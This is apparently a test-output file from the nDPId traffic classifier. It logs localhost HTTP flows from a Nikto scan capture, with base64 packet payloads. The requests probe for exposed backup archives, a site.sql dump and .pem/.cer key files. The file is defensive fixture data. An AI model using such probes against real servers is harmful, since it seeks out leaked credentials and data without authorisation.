+00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":402,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":402,"flow_packet_id":1,"flow_first_seen":1576420277309,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50348,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/12700.egg","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":403,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":403,"flow_packet_id":1,"flow_first_seen":1576420277310,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50350,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00633{"flow_id":403,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":403,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":310753,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFcQdAAEAGyyl\/AAABfwAAAcSuH5C\/jUmrZ8IhxYAYAED+uQAAAQEICp1m\/WadZv1mR0VUIC8xMjdfMF8wXzEudGFyIEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":403,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":403,"flow_packet_id":1,"flow_first_seen":1576420277310,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50350,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127_0_0_1.tar","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":404,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":404,"flow_packet_id":1,"flow_first_seen":1576420277311,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50352,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00632{"flow_id":404,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":404,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":311909,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFdZ1AAEAGxpN\/AAABfwAAAcSwH5BGIE0sZXhTqYAYAED+uQAAAQEICp1m\/WedZv1nR0VUIC8xMjdfMF8wXzEudGFyIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":404,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":404,"flow_packet_id":1,"flow_first_seen":1576420277311,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50352,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127_0_0_1.tar","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":405,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":405,"flow_packet_id":1,"flow_first_seen":1576420277313,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50354,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00628{"flow_id":405,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":405,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":313149,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"AAAAAAAAAAAAAAAACABFAADESF9AAEAG89J\/AAABfwAAAcSyH5CXAnDudCS+HoAYAED+uAAAAQEICp1m\/WmdZv1oR0VUIC8xMjcwMC50YXIuZ3ogSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00764{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":405,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":405,"flow_packet_id":1,"flow_first_seen":1576420277313,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50354,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/12700.tar.gz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":406,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":406,"flow_packet_id":1,"flow_first_seen":1576420277314,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50356,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00628{"flow_id":406,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":406,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":314359,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"AAAAAAAAAAAAAAAACABFAADEBf5AAEAGNjR\/AAABfwAAAcS0H5ApMj1NA0MOSIAYAED+uAAAAQEICp1m\/WqdZv1qR0VUIC8xMjcwMC50YXIuZ3ogSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCg0K"} +00764{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":406,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":406,"flow_packet_id":1,"flow_first_seen":1576420277314,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50356,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/12700.tar.gz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":407,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":407,"flow_packet_id":1,"flow_first_seen":1576420277315,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50358,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00628{"flow_id":407,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":407,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":315564,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADC35NAAEAGXKB\/AAABfwAAAcS2H5BI6+ciGxVy6IAYAED+tgAAAQEICp1m\/WudZv1rR0VUIC8xLnRhci5sem1hIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":407,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":407,"flow_packet_id":1,"flow_first_seen":1576420277315,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50358,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1.tar.lzma","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":408,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":408,"flow_packet_id":1,"flow_first_seen":1576420277317,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50360,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00628{"flow_id":408,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":408,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":317905,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADCBO9AAEAGN0V\/AAABfwAAAcS4H5BQkTxdjeN4aIAYAED+tgAAAQEICp1m\/W2dZv1tR0VUIC8xLnRhci5sem1hIEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":408,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":408,"flow_packet_id":1,"flow_first_seen":1576420277317,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50360,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1.tar.lzma","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":409,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":409,"flow_packet_id":1,"flow_first_seen":1576420277319,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50362,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":409,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":409,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":319548,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADAyGZAAEAGc89\/AAABfwAAAcS6H5BukfDWpxxv14AYAED+tAAAAQEICp1m\/W+dZv1vR0VUIC9zaXRlLnNxbCBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":409,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":409,"flow_packet_id":1,"flow_first_seen":1576420277319,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50362,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/site.sql","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":410,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":410,"flow_packet_id":1,"flow_first_seen":1576420277321,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50364,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":410,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":410,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":321175,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADAwiFAAEAGehR\/AAABfwAAAcS8H5DDVvqu6KD2KYAYAED+tAAAAQEICp1m\/XGdZv1xR0VUIC9zaXRlLnNxbCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KDQo="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":410,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":410,"flow_packet_id":1,"flow_first_seen":1576420277321,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50364,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/site.sql","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":411,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":411,"flow_packet_id":1,"flow_first_seen":1576420277322,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50366,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":411,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":411,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":322959,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADBuGlAAEAGg8t\/AAABfwAAAcS+H5BzjYDWLFz9IYAYAED+tQAAAQEICp1m\/XKdZv1yR0VUIC8xMjcuMC5jZXIgSFRUUC8xLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":411,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":411,"flow_packet_id":1,"flow_first_seen":1576420277322,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50366,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.cer","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":412,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":412,"flow_packet_id":1,"flow_first_seen":1576420277324,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50368,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00627{"flow_id":412,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":412,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":324283,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADB11JAAEAGZOJ\/AAABfwAAAcTAH5DtMO\/kM\/E\/tYAYAED+tQAAAQEICp1m\/XSdZv10R0VUIC8xMjcuMC5jZXIgSFRUUC8xLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpIb3N0OiAxMjcuMC4wLjENCg0K"} +00761{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":412,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":412,"flow_packet_id":1,"flow_first_seen":1576420277324,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50368,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.cer","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":413,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":413,"flow_packet_id":1,"flow_first_seen":1576420277325,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50370,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00620{"flow_id":413,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":413,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":325585,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"AAAAAAAAAAAAAAAACABFAAC96FRAAEAGU+R\/AAABfwAAAcTCH5AdeNDi26Tri4AYAED+sQAAAQEICp1m\/XWdZv11R0VUIC8wLnBlbSBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":413,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":413,"flow_packet_id":1,"flow_first_seen":1576420277325,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50370,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/0.pem","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":414,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":414,"flow_packet_id":1,"flow_first_seen":1576420277326,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50372,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00620{"flow_id":414,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":414,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420277,"pkt_ts_usec":326920,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"AAAAAAAAAAAAAAAACABFAAC95+5AAEAGVEp\/AAABfwAAAcTEH5Cz199gOp5CH4AYAED+sQAAAQEICp1m\/XadZv12R0VUIC8wLnBlbSBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":414,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":414,"flow_packet_id":1,"flow_first_seen":1576420277326,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50372,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/0.pem","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":415,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":415,"flow_packet_id":1,"flow_first_seen":1576420277328,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":50374,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 